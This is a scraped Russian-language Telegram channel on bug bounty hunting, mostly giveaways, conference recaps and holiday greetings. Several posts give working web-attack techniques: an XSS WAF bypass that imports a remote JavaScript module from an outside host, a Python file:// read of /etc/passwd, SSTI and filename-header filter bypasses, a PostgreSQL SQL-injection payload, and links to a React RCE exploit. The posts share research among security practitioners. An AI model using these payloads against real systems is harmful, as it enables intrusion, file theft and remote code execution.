SHADOW:Group
11.6K subscribers
106 photos
47 videos
19 files
821 links
Чат: @shadow_chat_tg

Рекламу не размещаю.

Админ - @shdwpwn
Download Telegram
Нужны билеты на OFFZONE? Их есть у меня… Фул рандом, так что шанс есть у каждого. Розыгрыш продлится до утра 04.08.2025. Тыкайте кнопку для участия, а бот выберет 2-х победителей.
1🔥26🤯11👍1
James Kettle дропнул свой ресерч про новые классы атак через HTTP Request Smuggling и, к моему большому респекту, подкрепил все это доступной лабой на Portswigger. Публичного решения нет, но лаба довольно простая. Теперь можно убивать HTTP/1.1 на реальных целях.
🔥35🤔6
Наконец-то начали уже появляться в паблике некоторые доклады с Pentest Award и вот вам некоторые из них:

Во первых, прекрасный доклад от Ирины Беляевой, которая получила третье место в номинации "Пробив инфраструктуры", и поведала нам о том, как через принтер в переговорке удалось добраться до промышленной системы управления.

Во вторых, для всех фанатов киберпанка, @VeeZy_VeeZy подготовил футуристичный рассказ под названием 4911 про его встречу с формой входа и неожиданный обход OTP. Доклад стал фаворитом по версии жюри и определенно заслужил вашего внимания.
25🔥28👍6🤔1
®️ OFFZONE 2025 - ВСЁ

В этот раз 2 дня пролетели совсем незаметно. За это время успел со многими пообщаться и познакомиться, а также поучаствовать в некоторых активностях. Особый респект за мерч. В этом году, по моему скромному мнению, он был особенно хорош.

Спасибо @offzone_moscow за атмосферу, @bizone_bb за их ивенты, а всем вендорам за разнообразный скоуп. Ребятам из @vk_security отдельный респект за афтепати.

Рад был всех видеть и до новых встреч!
Please open Telegram to view this post
VIEW IN TELEGRAM
6🔥26👍4
🐞 Розыгрыш проходки на церемонию награждения BUGS ZONE 6.0

20 октября начнется любимый многими багхантерами BUGS ZONE 6.0. Традиционно нас ждет приватный скоуп, мерч, церемония награждения и мощное афтепати.

Потому запускаю розыгрыш 3 проходок на церемонию награждения, которая пройдет 7 ноября в Москве.

Условия простые:
1️⃣ Быть багхантером (достаточно одного оплаченного репорта за последний год на любой платформе). Отдельно попрошу пруфы у победителей в личке.
2️⃣ Быть подписанным на мой канал

Итоги подведу 19 октября - победитель получит приглашение на церемонию награждения BUGS ZONE 6.0 и сможет лично встретиться с командой платформы, триажерами и топовыми хантерами сезона.

Следите за апдейтами и удачи всем!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11👍1😁1
Недавно попалось приложение, которое не давало мне проэксплуатировать XSS. WAF тригерился на использование большинства функций и ключевых слов, таких как alert, document.cookie и других.

В таких случаях часто на помощь приходит функция import(), которая позволяет подгружать JS-скрипты из внешнего модуля. Более подробно c этой функцией можете ознакомиться в документации.

Для эксплуатации я использовал пэйлоад Javascript:import('//X55.is')// который через import() выполняет загрузку вредоносного JS-модуля, размещенного на сайте X55.is. Данный модуль выполняет обычный alert.

Кроме того, с его помощью можно удобно выполнить любой код, указав его через символ #. Все, что будет после #, не будет видно на сервере, что поможет обойти WAF, а модуль в import считает содержимое из document.location.hash и выполнит код.

javascript:import('//X55.is')//#alert('shdw')


#web #waf #xss
10👍54🔥26🤯4
Forwarded from вольтаж
file://localhost/etc/passwd
что вернёт?

Да, вернётся /etc/passwd.

В RFC 8089, верный формат протокола описан как file://<host>/<path>, в то время как все шпоры на LFR при SSRF говорят лишь о file:///<path>

Причём, в <host> возможно вписать домен. Система резолвнет его, и если тот указывает на 127.0.0.1, то вернётся содержимое файла. В противном случае получишь лишь отстук в DNS.

питон пок

from urllib.request import urlopen

content = urlopen(
"file://yoogle.com/etc/passwd", timeout=2,
).read().decode('utf-8')

print(content)


Представил сколько возможностей для обхода фильтров? И это не последний твой приступ FOMO за сегодня.

В статье The Minefield Between Syntaxes от @yeswehack, автор вскрывает проблемы разных синтаксисов и как парсеры выживают с ними.

Представим, ты нашёл SSTI, но WAF блокирует символ $
Что делать?


Неприятно, но не критично, ведь в Python / Perl возможно представить символ через \N{CHARACTER NAME}.

Пример обхода фильтра
\N{dollar sign}{7*7} == ${7*7} == 49


Уже на стену лезешь? Погоди, я с тобой ещё не закончил.

Давай дальше по загрузке файлов. Видел же в Content-Disposition есть параметр filename?

В RFC 6266 описан базовый подход с именем файла, но RFC 8187 вышибает дверь с... чего.. какие юникод байты 😱


# RFC 6266
filename="image.png"

# RFC 8187
filename*=UTF8''image%0a.png


RFC 8187 вводит новые правила для filename параметра, включая поддержку всего Unicode + способности кодировать произвольные байты через %

То есть, ты можешь закодировать перенос строки (%0a == \n) и всячески ломать как парсинг имени файла, так и куда тот запишется.

. . .

FOMO карусель закрыта.
Как восстановишь силы, пробегись по статье автора ради:
⚀ разбор CVE из-за проблем синтаксиса [^]

⚀ кейс бб, из cache poisoning в stored xss через пролом валидации parse_url в PHP [^]

⚀ кейс бб, из слепого чтения файлов через SSRF в arbitrary file read [^]


Затем разнеси CTF по ресерчу
1. обход фильтров SSTI [^]

2. иной подход к протоколу file:// [^]

3. пролом parse_url в PHP [^]


#web #waf_bypass
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥27👍4
Forwarded from Заметки Слонсера (Slonser)
Осознал что не все подписаны на меня в соц сети Илона Маска, поэтому возможно буду дублировать сюда некоторые посты
На выходных нашел SQLi в PostgreSQL приложении. Обычно я не пишу про такие находки, но этот случай показался достаточно интересным.

Инъекция была path-based (/api/v2/.../INJECTION_POINT/...), и путь не url декодился. Пробелы, слеши, кавычки и скобки приводили к 400 Bad Request.

Придумал обход используя dollar-quoting синтаксис PostgreSQL:

$$0$$OR-0-$$0$$NOTNULL


Как PostgreSQL это парсит:
1. $$0$$ - dollar-quoted строка, автоматически каститься в integer
2. OR - логический оператор
3. -0-$$0$$ - арифметическое выражение
4. NOTNULL - проверка на null (вернет true)

Для этого payload нужны всего два не alphanumeric символа: $ и - (минус можно заменить на +).

Может быть полезно для обхода WAF (например, Cloudflare это не блокирует) или при похожих ограничениях на символы.
🔥23
Проснулся, а тут RCE в React Server Functions с одного запроса уже выполняется. Жаркие споры вчера не прошли напрасно.

https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
https://github.com/msanft/CVE-2025-55182

#web #rce #react
5🤯14🔥12👍3
Недавно занял 2 место в приватном ивенте от ТБанка. Ребята порадовали интересным скоупом и достойными выплатами за что им большой респект 😎
Please open Telegram to view this post
VIEW IN TELEGRAM
33🔥58👍7😁2
Вот с таким интересным принтом получил футболку от ребят из BI.ZONE Bug Bounty. Говорят, если присмотреться, то можно увидеть на нем множество знакомых лиц из багбаунти сообщества. Я узнал примерно половину)
5🔥20👍3
кстати, это я) узнали? согласны?
😁28👍8🤔2
Друзья, поздравляю вас с наступающим Новым годом 🎄

Пусть он принесёт больше спокойствия, уверенности в себе и своих идеях, новых положительных эмоций и ощущения, что вы идёте в правильном направлении.

Желаю интересных и результативных находок, роста там, где вам действительно важно, и достижения новых высот.

Постарайтесь отдохнуть в эти праздники и набраться сил. Пусть в новом году всё станет хотя бы немного лучше, чем в прошлом.

Спасибо, что вы здесь. Увидимся в 2026 ❤️
Please open Telegram to view this post
VIEW IN TELEGRAM
42🎄249